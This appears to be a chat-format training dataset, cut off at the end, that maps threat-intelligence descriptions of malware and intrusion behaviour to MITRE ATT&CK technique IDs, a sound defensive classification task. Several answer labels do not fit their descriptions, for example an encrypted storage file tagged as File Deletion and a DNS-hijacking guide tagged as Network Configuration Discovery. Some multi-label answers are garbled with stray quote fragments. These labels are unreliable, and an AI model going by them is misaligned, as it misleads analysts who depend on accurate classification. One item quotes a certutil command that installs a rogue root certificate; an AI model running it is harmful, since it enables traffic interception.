    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can enable Windows CLI access and execute files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to disable UAC remote restrictions by modifying the Registry."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unpacking routine for SWF exploit The exploit is a memory corruption vulnerability that exists in the “com.adobe.tvsdk.mediacore.BufferControlParameters” class.  If the exploit is successful, it will gain arbitrary read / write operations within memory, thus allowing it to execute a second stage shellcode"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used a script that checks `/proc/*/environ` for environment variables related to AWS."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In past attacks, the Ragnar Locker group has used exploits of managed service providers or attacks on Windows Remote Desktop Protocol (RDP) connections to gain a foothold on targeted networks"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process. It moves wiper-related files to “C:\\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can launch a reverse command shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux can encode its configuration file with single-byte XOR encoding."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can user PowerView to perform “net user” commands and create local system and domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MiniDuke can create a process on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer has the ability to collect information about installed AV products from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher creates a new Windows service with the malicious executable for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Summary In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. We believe it is likely these tools are being used by one group of attackers. Though Bisonal malware has been in the wild for at least seven years and frequently updated, the actors keep using same high-level playbooks. Common features of attacks involving Bisonal include"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group malware has used \"CreateProcess\" to launch additional malicious components."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script executed by the Microsoft Publisher file downloads and runs yet another JavaScript file, 0.js, hosted on the attacker-controlled server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire is capable of capturing screenshots on Windows and macOS systems."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has uploaded collected data and files from a compromised host to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has the ability to generate the current date and time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In recent BitPaymer IR engagements, Falcon Intelligence linked the initial infection vector to fake updates for a FlashPlayer plugin and the Chrome web browser. These fake updates are served via legitimate websites that have been compromised, and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 deployed a Monero cryptocurrency mining tool in a victim’s environment."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can copy itself to and launch itself from hidden folders."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "certutil can be used to install browser root certificates as a precursor to performing Adversary-in-the-Middle between connections to banking websites. Example command: \"certutil -addstore -f -user ROOT ProgramData\\cert512121.der\"."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used PowerShell to run a series of base64-encoded commands, that acted as a stager and enumerated hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PHOREAL is capable of manipulating the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux has a hardcoded location that it uses to achieve persistence if the startup system is Upstart or System V and it is running as root."
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can use HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd can be used to find information about the operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "abuses NTFS transactions to launch and conceal malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has exploited Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570 for execution during delivery."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors discovered the local network configuration with `ipconfig`."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has used batch scripts and scheduled tasks to delete critical system files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This shellcode is decrypted in memory through EQENDT32.EXE"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerLess can use a .NET browser information stealer module."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The configuration, along with downloaded plugins and all harvested data are stored in a custom database format inside a single file under the %TEMP% directory. The file name is hardcoded and obfuscated with XOR. The storage file is encrypted with AES-256 using a hardcoded key and is decrypted each time the malware needs to read or write it and re-encrypted after new data is added"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the C2 information has been collected, BADNEWS leverages HTTP for communication with the remote servers"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can fill a victim's files and directories with zero-bytes in replacement of real content before deleting them."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has uploaded files from victims' machines."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 actors have compressed data from remote systems and moved it to another staging system before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST added junk bytes to its C2 over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims’ disks. The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used `net view` to enumerate domain machines."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has gained execution through luring victims into opening malicious files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use scheduled tasks to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of downloading additional files through C2 channels, including a new version of itself."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HttpBrowser is a remote access tool whose name originates from the hard-coded \"HttpBrowser/1.0\" User-Agent. Table 2 lists the commands available to threat actors in one of the HttpBrowser variants"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak campaigns can also use legitimate programs and remote access software for command and control. They also employ standard non-application layer protocols for communication."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has created and granted privileges to domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BONDUPDATER waits to receive an instruction from the C2 server that starts with “E” before writing the downloaded data to the supplied filename. After receiving the “E” instruction, the Trojan will write the base64 decoded data to the file and process the newly created file. Figure 27 shows the C2 server providing the “E” instruction within the TXT answer. In the current example, the Trojan would treat the newly saved file as a script thanks to the filename ending with the “0” character. The Trojan would run the contents of the file using “cmd.exe” and save the output to a file named “proc10100” that will be uploaded to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has gathered information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 has collected data from victims' local systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key has used RSA encrypted communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the Dropbox cloud storage service for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT used Windows API functions such as \"MoveFileEx\" and \"NtQueryInformationProcess\" as part of the SUNBURST injection process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM ensured each payload had a unique hash, including by using different types of packers."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "P.A.S. Webshell can delete scripts from a subdirectory of /tmp after they are run."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT has used encoded data within subdomains as AES ciphertext to communicate from the host to the C2."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Konni malware family use a custom base64 key to encode the content of several files in the exfiltration phase. We observed the same flow of data reconnaissance and exfiltration across all campaigns"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can identify the installed antivirus product on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Instructions within guide.txt explaining how to carry out DNS hijacking attack In one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP (185.162.235[.]106) for the legitimate domain to be redirected to"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The last one is used by this setup, and in this mode the ransomware encrypts the files on all available mapped network drives"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact', 'T1564.006 - Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea collects information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used the Stealer One credential stealer to target e-mail and file transfer utilities including FTP."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors used Windows’ scheduled task and batch scripts to execute “scr.exe” and collect additional information from hosts on the network. The tool “scr.exe” is a screenshot utility that the threat actor used to capture the screen of systems across the network. The MD5 hash of “scr.exe” matched the MD5 of ScreenUtil, as reported in the Symantec Dragonfly 2.0 report"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has deleted its files and components from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The goal of targeting some victims appears to be to obtain data. How this data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve data from memory of systems where such data is typically processed"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo requires the user to double-click the executable to run the malicious HTA file or to download a malicious installer."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windows Credential Editor can dump credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
